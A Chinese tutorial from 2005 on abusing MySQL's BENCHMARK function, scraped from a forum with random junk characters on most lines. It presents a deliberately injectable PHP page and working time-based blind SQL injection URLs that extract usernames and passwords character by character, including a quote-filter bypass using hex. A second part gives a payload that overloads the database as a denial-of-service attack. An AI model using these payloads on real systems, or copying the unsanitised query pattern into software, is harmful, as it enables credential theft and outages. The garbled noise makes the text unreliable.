MYSQL中BENCHMARK函数的利用
0 V6 j+ H! g1 @& Y3 S本文作者:SuperHei
2 V' |- q' T* r文章性质:原创
( N6 E% R- y) o# C9 m发布日期:2005-01-02
! L# X* M# N2 o- }; L0 n完成日期:2004-07-09
5 V7 G9 N( I+ ^) b# f9 m/ T第一部
7 q/ b ^8 z: J8 A" B3 A- W; Z
. j7 Z! x( i2 _- i利用时间推延进行注射---BENCHMARK函数在注射中的利用
% \5 v: O" g8 r5 g
- D* @ I; ^5 O9 y9 \: k$ J一.前言/思路& N3 Z R4 p7 w q5 \
8 I7 J) u; i! L 如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。4 ~# Z+ n1 q) C1 W4 m( T; N
4 @) }8 t% ^ U y, h
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。# {- S& F7 [( s% W% f8 X
( ^; C! g) i1 Q& E
二.关于BENCHMARK函数& m1 |1 s1 h1 h ~- m: M6 O: q9 A
) M9 J ]3 e, Z# ?% A5 ~; v
在MySQL参考手册里可以看到如下描叙:
& [$ A, I9 Y- L* Q. F5 D. I8 e/ g5 F* @. V% F, B
! V: @3 \! [5 O$ _3 Q--------------------------------------------------------------------------------% M! U- f y; @3 [4 i, N
- f, A. e# Y) R5 U
BENCHMARK(count,expr) / ~+ `* w& f) z5 W, a
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 ; h2 u5 d+ S- V) M; V- j' v- g4 q& y
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
M j4 A1 N2 p$ R+----------------------------------------------+ 0 a; g2 t8 I# K, L, S7 T/ b
| BENCHMARK(1000000,encode("hello","goodbye")) | $ b Y5 q: U3 B8 ]1 F2 Q* u- t
+----------------------------------------------+
- D5 c/ `5 O, [7 D| 0 |
0 L7 P; L9 o4 W. u/ ]4 i& Z+----------------------------------------------+
! w0 z3 N. P1 o, F4 N* R/ S/ w1 row in set (4.74 sec) # D' ?. w5 g6 L" g1 @8 r `
% _ ^( a( u) e3 W8 ~( I% ~4 I
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
. D0 `$ @! z# w+ ~2 o% O7 L2 T/ E- B- K* `
, C7 A6 {; u6 D; v% L6 {--------------------------------------------------------------------------------
* h0 [6 N0 s5 ^! J5 y
& j9 @& _& m1 [: b) B Y" k( | ] 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: & M' O3 y' n4 ]
0 ~8 C* ^$ X8 w4 J$ ~6 P0 m3 ~
mysql> select md5( 'test' );
3 I6 f2 o0 O. ]+----------------------------------+
/ E0 }' C8 S( y# c ?! ]| md5( 'test' ) | 0 p& O" Z) k% @% W
+----------------------------------+ R3 [0 z( f7 {
| 098f6bcd4621d373cade4e832627b4f6 |
9 z/ C5 v2 }# X3 g. b7 x+----------------------------------+ ( O: R Q3 p1 I5 E2 ~
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
1 E& U! P6 v3 X C7 a& _8 X' T6 K' G K& P1 c1 J+ Y
mysql> select benchmark( 500000, md5( 'test' ) ); L7 t7 P! E0 b( s+ O6 C; J2 j! c
+------------------------------------+ ) b" | o1 [% }8 J$ D8 I
| benchmark( 500000, md5( 'test' ) ) |
+ S) S w' z5 m: v) a+------------------------------------+
) m: r( i; M1 N u5 i! S1 F& d| 0 | / W* [1 _1 J3 d
+------------------------------------+ 9 i! Z- o( ^ Z* y: Y7 F8 U
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec) \2 j3 p+ K B: Z6 ?8 K
$ b4 P' q/ g( P! n# t( |
4 e# V8 J$ j5 ?+ o 由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
. D1 r% R% `( U; p& S! X
6 P+ J4 e0 |- C/ j* q三.具体例子: Z# z% t9 S* r M8 \
2 I' D2 y, ?$ o, W( `
首先我们看个简单的php代码:. U5 |# K5 X2 y4 f) L
+ r' r1 [" n/ s" Z8 j( V8 z- a8 J
< ?php
' K+ ]4 A( C$ U$servername = "localhost";
: {- h* N. F: X/ v/ c$dbusername = "root";
4 ]% A7 [/ Z5 c$dbpassword = ""; + F# ]1 X% m8 y& p
$dbname = "injection"; ) g% T# s; B+ n8 @; a% b
u0 r1 a% i4 R7 I
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
+ m. o5 P) ^5 ^+ Z6 |3 R' B6 b" r! s- q6 V/ w Z, r
$sql = "SELECT * FROM article WHERE articleid=$id";
* Q& e# B/ j2 w) {; L$result = mysql_db_query($dbname,$sql); 0 g( P) F7 W) N
$row = mysql_fetch_array($result); # f3 u7 F" a w8 P R7 W
# g" O) S) f4 Q. Y0 A/ `& K# Mif (!$row) # v! G1 K/ {6 t- A0 L% b
{
4 E& a! v Z% B/ ]) bexit;
8 ~/ Z/ u% o; j% B" b, [}
6 X! ~2 A6 l3 E( ~( m: e/ r?>
b; Z% [. p! Y" ~7 s7 M ( E% v& M2 E; y3 V: D2 e1 f5 x6 I7 n
6 j( B. y% H3 \9 x" k 数据库injection结构和内容如下:
. ^, c6 J% v k2 ?
9 d V% ^. W" O* _3 f4 L' C' i# 数据库 : `injection` " P/ ` A+ J: |- }( H# b) n7 v
# / Q+ s* K3 V" P5 ]: n( C
7 V" [7 y9 F U1 ~- ]/ M, R# -------------------------------------------------------- , Q/ s, a( f- b# |
2 v: v B; }- o& f6 ^# 0 m5 h; P) j& I- I
# 表的结构 `article` 6 a' r% I! a/ l8 C
# " `4 w0 j: n+ P9 \/ ^
0 K- G, ?" W) I: [8 t a4 f( Z
CREATE TABLE `article` (
" Y5 ]1 B: B. \$ S. Z/ u6 X`articleid` int(11) NOT NULL auto_increment,
! L* T7 p+ l) y/ E* x) W6 O`title` varchar(100) NOT NULL default '', " d3 o# k# B1 X
`content` text NOT NULL,
6 N) d2 E' b( i6 ]# F! S7 x' zPRIMARY KEY (`articleid`) & f1 i! W' W4 K& m. I$ q( l
) TYPE=MyISAM AUTO_INCREMENT=3 ;
" X [8 n; q8 g) q% g, q) M( u! j; a: S- G1 i
#
5 \( g) L1 @/ c6 T# 导出表中的数据 `article`
( g- a4 N1 K# J* y#
0 p7 m7 ]4 I% N1 Q+ V
7 C, d1 c7 F R5 B# t2 G# k& YINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
* K3 Z4 j& e) `" X ]8 @INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
+ K1 |) h h; K2 H$ G9 I3 ^) G, x5 {" \1 R8 K' T. u
# -------------------------------------------------------- 1 m9 ?% q" a4 l. C. [$ b: ~
/ a" W1 A' x& U$ q% M# c; s p# & A* h4 l, X {+ y2 d
# 表的结构 `user`
6 u" G" o% o9 z8 @/ H8 @/ N" S# % ?' L( v' f' z6 v
# S% [$ c; T- h8 u% b8 ACREATE TABLE `user` (
7 K" u1 m5 ^. o, m, p) {- X`userid` int(11) NOT NULL auto_increment, 6 e, E/ Z3 g$ v# u7 }9 ^
`username` varchar(20) NOT NULL default '', $ D, e7 c; ~7 s2 Q* K
`password` varchar(20) NOT NULL default '', % P1 R$ B1 b- x$ l4 a0 l( \
PRIMARY KEY (`userid`)
! B1 m' h- D4 D1 u9 i/ `# G) TYPE=MyISAM AUTO_INCREMENT=3 ; * Q; r: o4 s6 S9 |) b
7 f" X1 j+ t: l' `
#
7 o7 j0 v" p& h4 M: M" {* h5 q# 导出表中的数据 `user`
' u! B& X; ?- E: } E- F, j#
; k) q- V) G1 [" f+ k2 d6 ~$ b
3 X# b4 Y; N( n7 G0 F( S% w( C( cINSERT INTO `user` VALUES (1, 'angel', 'mypass');
9 \. u& u. t& G1 n) zINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');0 { C) @& n. g) _
, G5 l; {! [ X: p. v& q/ \+ n8 ~
9 U- B S H, Q# c1 H# }. p0 T 代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:1 j6 {( |, f% ~7 Y2 C- U
' I( } B: a% o6 U( Pid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
0 b/ W0 @: t0 e/ F
# Q7 \. u9 m" C# @+ j
, Y% U7 D* `+ G7 b( F, J7 H 上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
4 U! Z! _* o; |6 [: F
% Z% O# W. f6 H. E) Thttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*. M/ _* i7 p v
* ]: b0 S% a0 q* u/ q
9 ^. o3 t; F% K* A
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
5 t5 G8 d8 Y, ^7 F6 L5 f/ T$ e* x2 g( W; _, i
注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 * e$ r- x2 F: s- y/ P0 w2 F5 r
% W; I) n8 u \ y
第二部; G) T( Z* v( [2 W# J# _( ]
. G8 F7 l1 `; x8 d
利用BENCHMARK函数进行ddos攻击
2 i( j4 E; F4 ?9 o5 e% L, V6 ~3 W( q2 ]; {% O2 P
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:( M6 b q$ K# z! ~2 C* @
0 }' s; N9 L8 s# v# ~- e+ Lhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41)). s/ G+ |6 G6 h) j9 B I
' ~5 G* l0 w2 ?
9 C3 [5 }' F' S" @小结4 s4 q9 r6 E2 M, l* A
3 p! m4 V- [; {" J' j$ x3 x' Q 本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
% p# G4 x, R0 y: Q7 I. t 9 \! X% K, u5 B
3 e5 L* U/ {7 C5 b; i. u |